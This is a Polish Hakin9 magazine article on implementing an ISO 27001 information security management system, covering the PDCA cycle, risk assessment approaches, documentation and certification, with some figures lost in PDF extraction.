Page 70: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

70

BEZPIECZNA FIRMA

HAKIN9 3/2010

Zgodnie z normą ISO 27001, system zarządzania bezpieczeństwem informacji to część całościowego

systemu zarządzania organizacją (przedsiębiorstwem), oparta na podejściu procesowym wynikającym z ryzyka biznesowego, odnosząca się do ustanawiania, wdrażania, eksploatacji, monitorowania, utrzymywania i doskonalenia bezpieczeństwa informacji.

Rodzina norm 27000Spośród wszystkich norm serii 27000 największe znaczenie mają normy ISO 27001 i 27002. Normy te zapewniają kompleksowe podejście do bezpieczeństwa informacji. Stosuje się je w odniesieniu do SZBI. Ich zapisy dotyczą zarówno informacji papierowej, informacji elektronicznej, jak i wiedzy pracowników.

Norma ISO/IEC 27001 definiuje wymagania dla systemu zarządzania bezpieczeństwem informacji. SZBI powinien stanowić część składową systemu zarządzania organizacją i być oparty na analizie ryzyka biznesowego. Norma zaleca podejście systemowe zgodnie z cyklem PDCA (Plan-Do-Check-Act ) Deminga obejmującym: ustanowienie, wdrożenie, eksploatację, monitorowanie, przegląd, a także utrzymanie i doskonalenie SZBI.

Norma ISO 27001 oparta jest, podobnie jak norma ISO 9001, na zasadach podejścia

ANDRZEJ GUZIK

Z ARTYKUŁU DOWIESZ SIĘjak wdrożyć system zarządzania bezpieczeństwem informacji (ang. ISMS – Information Security Management System) w organizacji.

CO POWINIENEŚ WIEDZIEĆznać podstawowe zasady ochrony informacji.

procesowego. Umożliwia organizacji budowę zintegrowanego systemu zarządzania: zarządzania jakością w oparciu o normę ISO 9001 i zarządzania bezpieczeństwem informacji w oparciu o normę ISO 27001. Wdrożenie w organizacji zintegrowanego systemu zarządzania może przynieść organizacji szereg korzyści: pozwala objąć systemem wszystkie obszary działania firmy, zwraca uwagę na ochronę informacji i jej wartość, zwiększa zainteresowanie technologiami ICT, przyczynia się do prowadzenia analizy i zarządzania ryzykiem, zapewnia opracowanie planów ciągłości działania, przyczynia się do uzyskania przewagi nad konkurencją i poprawia wizerunek firmy.

W załączniku A do normy przedstawiono cele stosowania zabezpieczeń i zabezpieczenia, które należy zastosować w przypadku podjęcia decyzji o wdrożeniu w organizacji SZBI. Norma może być przydatna dla każdej organizacji, niezależnie od wielkości czy branży, niezależnie od

Stopień trudności

SZBI receptą na bezpieczeństwo informacjiKompleksowe podejście do bezpieczeństwa informacji w organizacji wymaga wdrożenia systemu zarządzania bezpieczeństwem informacji (SZBI). Normy serii ISO 27000 stanowią wymagania, najlepsze praktyki i wytyczne w zakresie wdrożenia systemu. W przypadku, gdy klient tego wymaga system można certyfikować.

„Prawdę mówi przysłowie, że systemy bezpieczeństwa muszą wygrywać za każdym razem, a napastnik musi wygrać tylko raz”

Austin Dykes

Page 71: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

71

SZBI RECEPTĄ NA BEZPIECZEŃSTWO INFORMACJI

HAKIN9 3/2010

tego, czy organizacja będzie ubiegać się o certyfikację systemu, czy nie. Do certyfikacji systemu zarządzania bezpieczeństwem informacji przeznaczona jest norma ISO/IEC 27001.

Natomiast norma ISO 27002 zawiera wytyczne związane z ustanowieniem, wdrożeniem, eksploatacją, monitorowaniem, przeglądem, utrzymaniem i doskonaleniem SZBI. Norma jest pierwszym standardem obejmującym kompleksowo zarządzanie bezpieczeństwem informacji. Celem tej normy jest wdrożenie mechanizmów zarządzania, które zapewnią, że bezpieczeństwo informacji będzie istotnym elementem funkcjonowania organizacji. Norma zawiera wytyczne zarządzania bezpieczeństwem informacji. Dotyczy wszystkich obszarów bezpieczeństwa: bezpieczeństwa fizycznego i środowiskowego, bezpieczeństwa osobowego, bezpieczeństwa IT, zarządzania ciągłością działania i zapewnienia zgodności z przepisami prawa (bezpieczeństwa prawnego).

Zgodnie z normą informacja jest aktywem, który podobnie jak inne ważne aktywa biznesowe, ma dla organizacji wartość i dlatego należy ją odpowiednio chronić. Dotyczy to zarówno ochrony informacji własnych organizacji, jak i zapewnienia bezpieczeństwa informacji udostępnionych przez klienta.

Bezpieczeństwo informacji według normy oznacza ochronę informacji przed różnymi zagrożeniami w taki sposób, aby zapewnić ciągłość działania – realizację celów statutowych organizacji, zminimalizować straty i zmaksymalizować zwrot nakładów na inwestycje i działania o charakterze biznesowym. Norma odnosi się do trzech aspektów informacji podlegających ochronie:

• poufności – zapewnienie dostępu do informacji tylko osobom upoważnionym,

• integralności – zapewnienie dokładności i kompletności informacji i metod jej przetwarzania,

• dostępności – zapewnienia, że osoby upoważnione mają dostęp do informacji i związanych z nią aktywów wtedy, gdy jest im to potrzebne.

W przypadku informacji biznesowych, stanowiących tajemnicę przedsiębiorstwa największe znaczenie dla bezpieczeństwa informacji ma ochrona poufności, tzn., informacja nie powinna być udostępniana lub ujawniana nieautoryzowanym osobom, podmiotom lub procesom.

Ustanowienie SZBIPodjęcie decyzji o wdrożeniu SZBI jest decyzją strategiczną dla organizacji. Wymagania zawar te w normie ISO 27001 co do systemu są ogólne i przeznaczone do stosowania we wszystkich organizacjach, niezależnie od typu, rozmiaru i natury biznesu. Wdrożenie SZBI powinno opierać się o proces PDCA (ang. Plan-Do-Check-Act ). Cykl ten składa się z czterech etapów: Planuj, Wykonaj, Sprawdź i Działaj.

Rodzina norm serii 27000• ISO/IEC 27000:2009 – słownictwo i terminologia.• ISO/IEC 27001:2005 – wymagania związane z ustanowieniem, wdrożeniem,

eksploatacją, monitorowaniem, przeglądem, utrzymaniem i doskonaleniem Systemu Zarządzania Bezpieczeństwem Informacji (polski odpowiednik PN-ISO/IEC 27001: 2007 Technika informatyczna – Techniki bezpieczeństwa – Systemy zarządzania bezpieczeństwem informacji – Wymagania).

• ISO/IEC 27002:2005 – wytyczne związane z ustanowieniem, wdrożeniem, eksploatacją, monitorowaniem, przeglądem, utrzymaniem i doskonaleniem Systemu Zarządzania Bezpieczeństwem Informacji (polski odpowiednik PN-ISO/IEC 17799: 2007 Technika informatyczna – Techniki bezpieczeństwa – Praktyczne zasady zarządzania bezpieczeństwem informacji).

• ISO/IEC 27003 (w opracowywaniu) – porady i wskazówki dotyczące implementacji Systemu Zarządzania Bezpieczeństwem Informacji.

• ISO/IEC 27004 (w opracowywaniu) – wskaźniki i pomiar dotyczący Systemu Zarządzania Bezpieczeństwem Informacji.

• ISO/IEC 27005:2008 – zarządzanie ryzykiem w bezpieczeństwie informacji (projekt polskiego odpowiednika PN-ISO/IEC 27005 Technika informatyczna – Techniki bezpieczeństwa – Zarządzanie ryzykiem w bezpieczeństwie informacji).

• ISO/IEC 27006:2007 – wymagania dla podmiotów świadczących usługi audytu i certyfikacji Systemów Zarządzania Bezpieczeństwem Informacji (polski odpowiednik PN- ISO/IEC 27006:2009 Technika informatyczna – Techniki bezpieczeństwa – Wymagania dla jednostek prowadzących audyt i certyfikację systemów zarządzania bezpieczeństwem informacji).

• ISO/IEC 27007 (w opracowaniu) – wytyczne do zarządzania systemem audytów SZBI.

Rysunek 1. Rodzina norm ISO 27000 (Źródło: ISO 27000)

Page 72: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

BEZPIECZNA FIRMA

72 HAKIN9 3/2010

SZBI RECEPTĄ NA BEZPIECZEŃSTWO INFORMACJI

73 HAKIN9 3/2010

Norma wymaga, aby organizacja ustanowiła, wdrożyła, eksploatowała, monitorowała, przeglądała, utrzymywała

i stale doskonaliła udokumentowany SZBI w kontekście prowadzonej działalności biznesowej i ryzyka

występującego w organizacji. W ramach ustanowienia SZBI organizacja powinna wykonać następujące działania:

• zdefiniować zakres i granice SZBI,• zdefiniować politykę SZBI,• zdefiniować podejście do

szacowania ryzyka w organizacji,• określić ryzyka,• analizować i oceniać ryzyka,• zidentyfikować i ocenić warianty

postępowania z ryzykiem,• wybrać cele stosowania

zabezpieczeń i zabezpieczenia jako środki postępowania z ryzykiem,

• uzyskać akceptacje kierownictwa dla proponowanych ryzyk szczątkowych,

• uzyskać autoryzację kierownictwa do wdrażania i eksploatacji SZBI oraz

• przygotować deklarację stosowania.

Zanim organizacja podejmie powyższe kroki zaleca się przeprowadzenie tzw. audytu zerowego, wstępnego, czasami nazywanego przedcertyfikacyjnym. Najlepiej, aby taki audyt wykonała firma doradcza. W raporcie z audytu dostaniemy diagnozę poziomu bezpieczeństwa informacji na zgodność z wymaganiami normy ISO 27001. Raport ten będzie stanowił punkt wyjścia do ustanowienia SZBI.

Jednym z pierwszych kroków jakie należy wykonać w tym etapie wdrożenia systemu jest określenie zakresu i granic SZBI. Najczęściej organizacje decydują się na objęcie systemem całego zakresu usług oraz wszystkie lokalizacje firmy. Niektóre organizacje decydują się objąć systemem tylko wybrane jednostki/komórki organizacyjne lub wybrany proces/system/usługę, zgodnie z wymaganiami biznesowymi i wymaganiami klienta. Oczywiście system może być wdrażany w całej firmie, a certy fikowany tylko tam, gdzie wymagają tego cele biznesowe i rachunek ekonomiczny. Niemożliwe są wyłączenia co do wymagań systemowych zawarte w pierwszej części normy ISO 27001 (rozdziały 4, 5, 6, 7 i 8), natomiast w części drugiej normy, tj. w załączniku A

Straty z tytułu braku wdrożenia Systemu Zarządzania Bezpieczeństwem Informacji• Brak koordynacji polityki bezpieczeństwa pomiędzy różnymi jednostkami organizacyjnymi

organizacji (departament IT, ochrona fizyczna, pion ochrony informacji niejawnych).• Koncentracja na zabezpieczeniach.• Wydatki na bezpieczeństwo traktowane jako koszt działania.

Korzyści z wdrożenia Systemu Zarządzania Bezpieczeństwem Informacji• Standaryzacja bezpieczeństwa informacji w całej organizacji – stworzenie odpowiednich

struktur nadzorczych.• Koncentracja na analizie ryzyka.• Wydatki na bezpieczeństwo traktowane jako inwestycja (możliwość wyznaczenia

wskaźnika zwrotu z inwestycji).• Przewaga marketingowa na rynku.• Możliwość niezależnej certyfikacji.• Zgodność z wymaganiami prawnymi.• Wzrost świadomości pracowników w zakresie bezpieczeństwa informacji.• Zarządzanie ciągłością działania.• Spełnienie wymagań przetargowych.• Wiarygodność firmy wobec klienta.

Korzyści z wdrożenia Zintegrowanego Systemu Zarządzania• Objęcie systemem wszystkich obszarów działalności firmy.• Zwrócenie szczególnej uwagi na wartość informacji i jej znaczenie.• Prowadzenie analizy ryzyka i zarządzania ryzykiem.• Zwiększenie zainteresowania technologiami informatycznymi.• Opracowanie planów zapewnienia ciągłości działania.• Zastosowanie podejścia procesowego i ciągłego doskonalenia. • Jednolita dokumentacja i terminologia.• Zbliżone zasady audytowania.• Niższe koszty przygotowania i wdrożenia zintegrowanego systemu.

Najczęściej popełniane błędy w zakresie bezpieczeństwa informacji• Brak zasad dotyczących ochrony informacji w organizacji.• Brak założeń bezpieczeństwa dla systemów teleinformatycznych.• Brak zasad stałego monitorowania systemów teleinformatycznych i usuwania błędów.• Brak zasad bezpieczeństwa korzystania z Internetu.• Brak przeprowadzania analizy zagrożeń i ryzyka dla systemów teleinformatycznych. • Brak zdefiniowanych sytuacji kryzysowych.• Brak procedur postępowania w sytuacjach kryzysowych.• Brak szkoleń pracowników – niska kultura ochrony informacji.

Page 73: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

BEZPIECZNA FIRMA

72 HAKIN9 3/2010

SZBI RECEPTĄ NA BEZPIECZEŃSTWO INFORMACJI

73 HAKIN9 3/2010

(normatywny) możliwe są wyłączenia, o ile dołączy się dokładny opis oraz uzasadnienie wyłączenia. Następnie należy zdefiniować politykę SZBI (zbiór wszystkich polityk bezpieczeństwa informacji). Możliwe są tu dwa podejścia: to, co nie jest zabronione, jest dozwolone i drugie podejście, to, co nie jest dozwolone jest zabronione. Drugie podejście jest stosowane wówczas, gdy zależy nam na szczególnej ochronie danych. Przy definiowaniu polityki (polityk) bezpieczeństwa informacji powinniśmy odpowiedzieć sobie na kilka podstawowych, fundamentalnych pytań: co chcemy chronić (jakie aktywa/zasoby), przed czym chcemy je chronić (przed jakimi zagrożeniami), w jaki sposób chcemy je chronić (jakie zabezpieczenia wdrożymy) oraz z jakim skutkiem będziemy je chronić (jakie ryzyka szczątkowe pozostaną po wdrożeniu zabezpieczeń).

Jednym z najtrudniejszych zadań jakie należy wykonać na etapie ustanowienia SZBI, jest określenie podejścia organizacji do szacowania ryzyka. Pomocny w tym względzie może być raport techniczny ISO/IEC TR 13335-3 (polski odpowiednik ISO/IEC TR 13335-3 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem systemów informatycznych Część 3:

Techniki zarządzania bezpieczeństwem systemów informatycznych), który zawiera przykłady metodyk szacowania ryzyka.

W raporcie tym przedstawiono cztery warianty podejścia do analizy ryzyka: podejście podstawowego poziomu bezpieczeństwa, nieformalne, szczegółową analizę ryzyka i podejście mieszane. Podstawowa różnica pomiędzy nimi dotyczy stopnia szczegółowości analizy ryzyka.

Podejście podstawowego poziomu bezpieczeństwa polega na wprowadzeniu standardowych

zabezpieczeń niezależnie od ryzyka wynikającego z analizy zasobów, zagrożeń i podatności. Podejście nieformalne polega na wykorzystaniu wiedzy i doświadczenia eksper tów, koncentruje się na zasobach narażonych na wysokie ryzyko. Z kolei szczegółowa analiza ryzyka wymaga identy fikacji i wyceny aktywów, oszacowania zagrożeń oraz oszacowania podatności. Podejście czwarte, mieszane, obejmuje dwa etapy. W pierwszym etapie przeprowadza się ogólną analizę ryzyka dla wszystkich

Rysunek 2. Model PDCA stosowany w procesach SZBI (Źródło: ISO 27001)

������������

�����������

������������

�����������������

��������������������

��������������������

�����������������������

�����������������������

����������

���������������������������

����������

����������������

����������������������������

�����������������������������

����������������������������

Tabela 1. Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji (Źródło: ISACA)

Stopień Charakterystyka

0 Brak świadomości brak zdefiniowania wymagań bezpieczeństwabezpieczeństwo traktowane jest jako problem poszczególnych użytkowników

I Początkowy świadomość potrzebykierownictwo uważa to za problem IT (typu: prawa dostępu, ochrona antywirusowa)

II Intuicyjny próby tworzenia zabezpieczeńbrak jednolitego podejściaefekty zależne od zaangażowania osób zainteresowanych

III Zdefiniowany zdefiniowane zasady (w tym polityka bezpieczeństwa) w całej organizacjiprocedury bezpieczeństwa są utrzymywane i komunikowanebrak kontroli stosowania

IV Zarządzany jednolite podejście dla wszystkich komórek i wszystkich rozwiązańobowiązuje perspektywa biznesufunkcjonuje mechanizm kontroli stosowania

V Optymalizowany świadome zarządzanie ryzykiemzgodność strategii bezpieczeństwa ze strategią biznesowązapewnienie bezpieczeństwa traktowane jako proces (wiedza, doskonalenie)

Page 74: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

BEZPIECZNA FIRMA

74 HAKIN9 3/2010

SZBI RECEPTĄ NA BEZPIECZEŃSTWO INFORMACJI

75 HAKIN9 3/2010

zasobów z uwzględnieniem ich wartości biznesowej i r yzyka, na które są narażone. Dla wszystkich zidenty fikowanych zasobów, które są ważne (war tościowe) dla organizacji, słabo zabezpieczone, należy później przeprowadzić szczegółową analizę ryzyka. W drugim etapie dla pozostałych zasobów stosuje się podejście podstawowego poziomu bezpieczeństwa.

Przyjęcie podejścia mieszanego zalecane jest dla większości organizacji. Jest ono najbardziej efektywne – szczegółowa analiza r yzyka dla zasobów posiadających war tość, słabo zabezpieczonych i narażonych na wysokie r yzyko, a dla pozostałych zasobów zastosowanie podstawowego poziomu bezpieczeństwa – wdrożenie standardowych zabezpieczeń.

Mając już określoną metodykę analizy ryzyka można przystąpić do zinwentaryzowania zasobów i dokonanie ich klasyfikacji, w tym przede wszystkim klasyfikacji zasobów informacyjnych oraz określenie zasad ich akceptowalnego użycia. Zaleca się, aby klasyfikacja informacji była stosunkowo prosta. Można zastosować na przykład następujący schemat: informacje możemy podzielić na upublicznione (jawne) i nieupublicznione (wrażliwe), wymagające ochrony. Z kolei informacje nieupublicznione możemy dalej podzielić na informacje wewnętrzne oraz informacje prawnie chronione (dane osobowe, tajemnica

Dokumentacja Systemu Zarządzania Bezpieczeństwem Informacji• Deklaracja polityki SZBI.• Zakres SZBI.• Procedury i zabezpieczenia wspomagające SZBI.• Opis metodyki szacowania ryzyka.• Raport z procesu szacowania ryzyka.• Plan postępowania z ryzykiem.• Procedury zapewniające skuteczne planowanie, eksploatacje i sterowanie procesami

bezpieczeństwa informacji i opis pomiaru skuteczności zabezpieczeń.• Procedury systemowe SZBI (nadzór nad dokumentami, nadzór nad zapisami, audyt

wewnętrzny SZBI, działania korygujące, działania zapobiegawcze).• Deklaracja stosowania.

Struktura normy PN-ISO/IEC 17799: 2007 Technika informatyczna – Techniki bezpieczeństwa – Praktyczne zasady zarządzania bezpieczeństwem informacji• Przedmowa• Wprowadzenie.• Zakres normy.• Terminy i definicja.• Struktura normy.• Szacowanie ryzyka i postępowanie z ryzykiem.• Polityka bezpieczeństwa.• Organizacja bezpieczeństwa informacji.• Zarządzanie aktywami.• Bezpieczeństwo zasobów ludzkich.• Bezpieczeństwo fizyczne i środowiskowe.• Zarządzanie systemami i sieciami.• Kontrola dostępu.• Pozyskiwanie, rozwój i utrzymanie systemów informacyjnych.• Zarządzanie incydentami związanymi z bezpieczeństwem informacji.• Zarządzanie ciągłością działania.• Zgodność.• Bibliografia.• Indeks.

Tabela 2. Atrybuty informacji podlegające ochronie (Źródło: Opracowanie własne)

AtrybutyInformacji

Bezpieczeństwo informacji

ISO27001

Informacje niejawne

Daneosobowe

Tajemnicaprzedsiębiorstwa

Innetajemnice

Poufność Tak Tak Tak Tak Tak

Integralność Tak Tak Tak - -

Dostępność Tak Tak - - -

Rozliczalność Tak - Tak - -

Autentyczność Tak - - - -

Niezaprzeczalność Tak - - - -

Niezawodność Tak - - - -

Page 75: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

BEZPIECZNA FIRMA

74 HAKIN9 3/2010

SZBI RECEPTĄ NA BEZPIECZEŃSTWO INFORMACJI

75 HAKIN9 3/2010

przedsiębiorstwa, informacje niejawne, tajemnice zawodowe i inne tajemnice). Dla każdej grupy informacji należy następnie określić zasady ich przetwarzania, które powinny zostać zatwierdzone przez najwyższe kierownictwo i zakomunikowane wszystkim pracownikom w celu ich stosowania. Następnie należy przeprowadzić analizę ryzyka dla zasobów i określić poziomy ryzyka oraz poziom ryzyka akceptowalnego. Zabezpieczenia jakie zastosujemy w celu ograniczenia ryzyk nieakceptowalnych należy opisać w planie postępowania z ryzykiem. Zwykle odwołujemy się do zabezpieczeń proponowanych w ISO 27002, w innych standardach lub do dobrych praktyk stosowanych w organizacji. Na koniec opracowujemy deklarację stosowania. Określa ona cele stosowania zabezpieczeń oraz zabezpieczenia zastosowane do budowy SZBI, w tym zawiera opis zastosowanych wyłączeń. Należy zauważyć, że lista 133 zabezpieczeń zawartych w załączniku A do normy ISO 27001 nie jest wyczerpująca. Znaczy to, że organizacja może rozważyć, czy nie są konieczne dodatkowe cele stosowania zabezpieczeń i zabezpieczenia.

Produktem etapu ustanowienie SZBI jest dokumentacja systemowa. Opracowanie jej stanowi najbardziej pracochłonne zadanie. Dokumentacja ta podlega później ocenie na etapie certy fikacji. Norma ISO 27001 narzuca minimalną zawartość dokumentacji SZBI w postaci udokumentowanych

procedur. Ponadto wszystkie dokumenty i zapisy SZBI powinny być chronione i nadzorowane.

Wdrożenie i eksploatacja SZBIW ramach etapu wdrożenie i eksploatacja SZBI organizacja powinna wykonać następujące działania:

• opracować plan postępowania z ryzykiem,

• wdrożyć plan postępowania z ryzykiem,

• wdrożyć zabezpieczenia,• określić jak mierzyć skuteczność

zabezpieczeń,

• wdrożyć program uświadamiania i szkolenia pracowników,

• zarządzać eksploatacją SZBI,• zarządzać zasobami SZBI oraz • wdrożyć procedury zapewniające

zarządzanie incydentami związanymi z naruszeniem bezpieczeństwa.

Na tym etapie organizacja powinna wdrożyć stosowne zabezpieczenia wybrane na etapie ustanowienia SZBI oraz wdrożyć procedury wspomagające SZBI. Plan postępowania z ryzykiem określa sposób postępowania organizacji z ryzykiem: zastosowanie odpowiednich zabezpieczeń, przeniesienie ryzyka na np. dostawcę

Struktura normy PN-ISO/IEC 27001: 2007 Technika informatyczna – Techniki bezpieczeństwa – Systemy zarządzania bezpieczeństwem informacji – Wymagania• Przedmowa• Wprowadzenie.• Zakres normy.• Powołania normatywne.• Terminy i definicje.• System zarządzania bezpieczeństwem informacji (SZBI).• Odpowiedzialność kierownictwa.• Wewnętrzne audyty SZBI.• Przeglądy SZBI realizowane przez kierownictwo.• Doskonalenie SZBI.• Załącznik A (normatywny) Cele stosowania zabezpieczeń i zabezpieczenia.• Załącznik B (informacyjny) Zasady OECD i niniejsza Norma Międzynarodowa.• Załącznik C (informacyjny) Powiązania ISO 9001: 2000, ISO 14001: 2004 z niniejszą

Normą Międzynarodową.• Bibliografia.

Tabela 3. Model PDCA stosowany w procesach SZBI (Źródło: ISO 27001)

Proces Opis procesu

Planuj (ustanowienie SZBI) Ustanowienie polityki SZBI, celów, procesów i procedur istotnych dla zarządzania ryzykiem oraz doskonalenia bezpieczeństwa informacji, tak aby uzyskać wyniki zgodne z ogólnymi politykami i celami organizacji

Wykonaj (wdrożenie i eksploatacja SZBI) Wdrożenie i eksploatacja polityki SZBI, zabezpieczeń, procesów

Sprawdzaj (monitorowanie i przegląd SZBI)

Szacowanie i tam gdzie ma zastosowanie, pomiar wydajności procesów w odniesieniu do polityki SZBI, celów i doświadczenia praktycznego oraz dostarczanie kierownictwu raportów do przeglądu

Działaj (utrzymanie i doskonalenie SZBI) Podejmowanie działań korygujących i zapobiegawczych w oparciu o wyniki wewnętrznego audytu SZBI i przeglądu realizowanego przez kierownictwo lub innych istotnych informacji, w celu zapewnienia ciągłego doskonalenia SZBI

Page 76: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

76 HAKIN9 3/2010 77 HAKIN9 3/2010

lub ubezpieczyciela, unikanie ryzyka lub zaakceptowanie ryzyka. Należy pamiętać, ze podstawowym celem wdrożenia SZBI powinno być zapewnienie ciągłości działania organizacji.

Ważnym zadaniem na etapie wdrożenia jest kształtowanie świadomości pracowników np. poprzez system szkoleń. Działania uświadamiające są jednym z najtańszych i najskuteczniejszych zabezpieczeń, na które stać każdą firmę. Bezpieczeństwo informacji to przede wszystkim stan świadomości, a nie technologia. Technologia tylko wspomaga i wymusza określone działania personelu. Bardzo ważne są zabezpieczenia organizacyjne, często lekceważone przez przedsiębiorców. W środowisku IT panuje pogląd, że technologia IT stanowi panaceum na wszystko. Z praktyki okazuje się, że tak nie jest. Rozsądnie dobrane zabezpieczenia organizacyjne, w tym świadomość zagrożeń, a dopiero na końcu technologia wspierająca te działania, stanowią receptę na sukces i zapewnienie bezpieczeństwa informacji zgodnie z wymaganiami biznesowymi, wymaganiami prawnymi i tzw. dobrymi praktykami.

Monitorowanie i przegląd SZBIW ramach monitorowania i przeglądu SZBI organizacja powinna wykonać następujące działania:

• wykonywać procedury monitorowania i przeglądu,

• wykonywać regularne przeglądy skuteczności SZBI,

• wykonywać pomiary skuteczności zabezpieczeń,

• wykonywać przeglądy szacowania ryzyka,

• przeprowadzać wewnętrzne audytu SZBI,

• wykonywać przeglądy SZBI,• uaktualniać plany bezpieczeństwa,• rejestrować działania i zdarzenia,

które mogą mieć wpływ na skuteczność lub wydajność realizacji SZBI.

Z założenia SZBI jest systemem samonaprawiającym się, opartym na ciągłym doskonaleniu. Jego zdolność do samodoskonalenia, wbudowane mechanizmy sprzężenia zwrotnego pozwalają skutecznie reagować na błędy, zdarzenia i incydenty związane z bezpieczeństwem informacji. Okresowe dokonywane przeglądy

SZBI oraz audyty wewnętrzne dostarczają kierownictwu informacji na temat niezgodności funkcjonowania SZBI. Stanowią podstawę do jego doskonalenia. Audytorzy SZBI podczas audytów badają dowody świadczące o wdrożeniu i funkcjonowaniu SZBI, w tym czy ustanowiona polityka bezpieczeństwa informacji jest stosowana w praktyce. Natomiast głównym celem przeglądów SZBI jest dostarczenie kierownictwu wiedzy na temat SZBI, jego aktualnego stanu oraz podjęcie decyzji związanych z dalszym funkcjonowaniem systemu.

Utrzymanie i doskonalenie SZBIW ramach wdrożenia i eksploatacji SZBI organizacja powinna wykonać następujące działania:

• wdrażać w SZBI zidentyfikowane udoskonalenia,

• podejmować odpowiednie działania korygujące lub zapobiegawcze,

• informować o działaniach i udoskonaleniach,

• zapewnić, że udoskonalenia osiągają zamierzone cele.

Na tym etapie organizacja powinna doskonalić SZBI, wprowadzać odpowiednie działania korygujące (eliminujące skutki niezgodności) i zapobiegawcze (eliminujące przyczyny niezgodności).

Jak widać wdrożenie SZBI nie jest zadaniem prostym, jest działaniem długofalowym. Wymaga szeregu skoordynowanych działań. Jednak trud związany z wdrożeniem opłaca się. Certyfikat SZBI, otwiera przedsiębiorcom wiele drzwi, stwarza nowe możliwości biznesowe. Należy jednocześnie zaznaczyć, że utrzymanie i doskonalenie SZBI w sensie biznesowym, stwarza o wiele więcej trudności niż jego ustanowienie i wdrożenie.

Certyfikacja SZBISZBI można cer ty fikować. Część organizacji wdraża system, lecz nie cer ty fikuje go. Nadrzędnym Rysunek 3. Związki w zarządzaniu ryzykiem (Źródło: PN-I-13335-1)

��������������������

����������

��������������������������

������������������������������������������������������������

������������

����������

��������

������

�������������������������

�������������

����������

�����������

����������

���������������

����������

BEZPIECZNA FIRMA

Page 77: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

76 HAKIN9 3/2010 77 HAKIN9 3/2010

zadaniem SZBI jest pomoc w zarządzaniu przedsiębiorstwem, osiągnięcie wymaganego poziomu bezpieczeństwa informacji i utrzymanie go. Sam proces cer ty fikacji jest kosztowny i wymaga udokumentowania jego działania. Podstawą cer ty fikacji jest norma ISO 27001 (następca BS 7799-2). W Polsce najwięcej cer ty fikatów wg serwisu http://www.iso27000.pl/ wydały jednostki cer ty fikujące: BSI, następnie DNV oraz ISOQAR. Aktualnie około stu organizacji posiada wdrożony i cer ty fikowany SZBI. Koszt cer ty fikacji (audytu cer ty fikującego) uzależniony jest od liczby zatrudnionych w organizacji (od kilkunastu tysięcy wzwyż dla małych organizacji). Audyt cer ty fikacyjny obejmuje ocenę dokumentacji, przeprowadzenie audytu (kilka/kilkanaście osobodni w zależności od wielkości organizacji), sporządzenie sprawozdania oraz wystawienie cer ty fikatu. Cer ty fikat wydawany jest na 3 lata. Warunkiem utrzymania cer ty fikatu jest przeprowadzenie tzw. rocznych audytów nadzorczych (co 12 miesięcy). Audyty nadzorcze w przeciwieństwie do audytu cer ty fikującego nie obejmują całego zakresu SZBI, a jedynie jego część. Ich zadaniem jest doskonalenie cer ty fikowanego systemu. Przed cer ty fikacją SZBI war to zapoznać się z normą ISO 27006, ponieważ określa ona m. in. wymagania i zalecenia związane z bezpieczeństwem informacji. Norma podkreśla na co należy zwrócić uwagę przy audytowaniu i cer ty fikacji SZBI, a także w przygotowaniu się do tego procesu. Szczególnie cenne są złączniki informacyjne do normy: załącznik A – sposoby analizy złożoności organizacji klienta i aspekty sektorowe, załącznik B – obszary kompetencji audytora SZBI, a zwłaszcza załącznik C – czas audytu cer ty fikującego SZBI.

PodsumowanieW każdej organizacji mamy do czynienia z konglomeratem kilkunastu różnych tajemnic prawnie chronionych i informacji biznesowych chronionych

we własnym interesie. Tylko niektóre z nich: dane osobowe i informacje niejawne, mają przepisy wykonawcze, w których to określono wymagania w zakresie ich ochrony. Większość tajemnic nie posiada wymagań co do sposobu ich ochrony, ale chronić je należy. W przypadku tych tajemnic, dla których brak wymagań i wytycznych w zakresie ich ochrony pomocne mogą być normy serii ISO 27000 i ich polskie odpowiedniki. Należy przypomnieć, że norma ISO 27001 odnosi się nie tylko do bezpieczeństwa teleinformatycznego. Obszarem jej zainteresowań jest również bezpieczeństwo osobowe, bezpieczeństwo fizyczne i środowiskowe oraz bezpieczeństwo prawne.

Wdrożenie SZBI zapewnia organizacji szereg korzyści, m. in. adekwatny do zagrożeń, wymagań biznesowych i wymagań wynikających z przepisów prawa poziom ochrony wszystkich informacji. Dobór zabezpieczeń na podstawie wyników analizy ryzyka zapewnia natomiast efektywność kosztową. Zachęcam wszystkich decydentów do podjęcia trudu wdrożenia systemu. Systemu można nie certy fikować.

W większości organizacji wydanie choćby niewielkich pieniędzy, aby chronić coś, co ma niematerialny charakter nie zawsze znajduje uzasadnienie .

Co potrzeba, aby zapewnić w organizacji bezpieczeństwo informacji? Trochę wiedzy, trochę procedur, trochę dobrej woli i trochę pieniędzy, czyli potrzeba systemu.

Szacunkowo zapewnienie bezpieczeństwa informacji wymaga nakładów na poziomie około 5 procent ogólnych kosztów przeznaczonych na technologie IT.

Andrzej GuzikAudytor systemu zarządzania bezpieczeństwem informacji, audytor systemu zarządzania jakością, audytor wewnętrzny, ekspert w zakresie ochrony informacji prawnie chronionych, redaktor portalu www.ochronainformacji.pl. Kontakt z autorem, e-mail: [email protected].

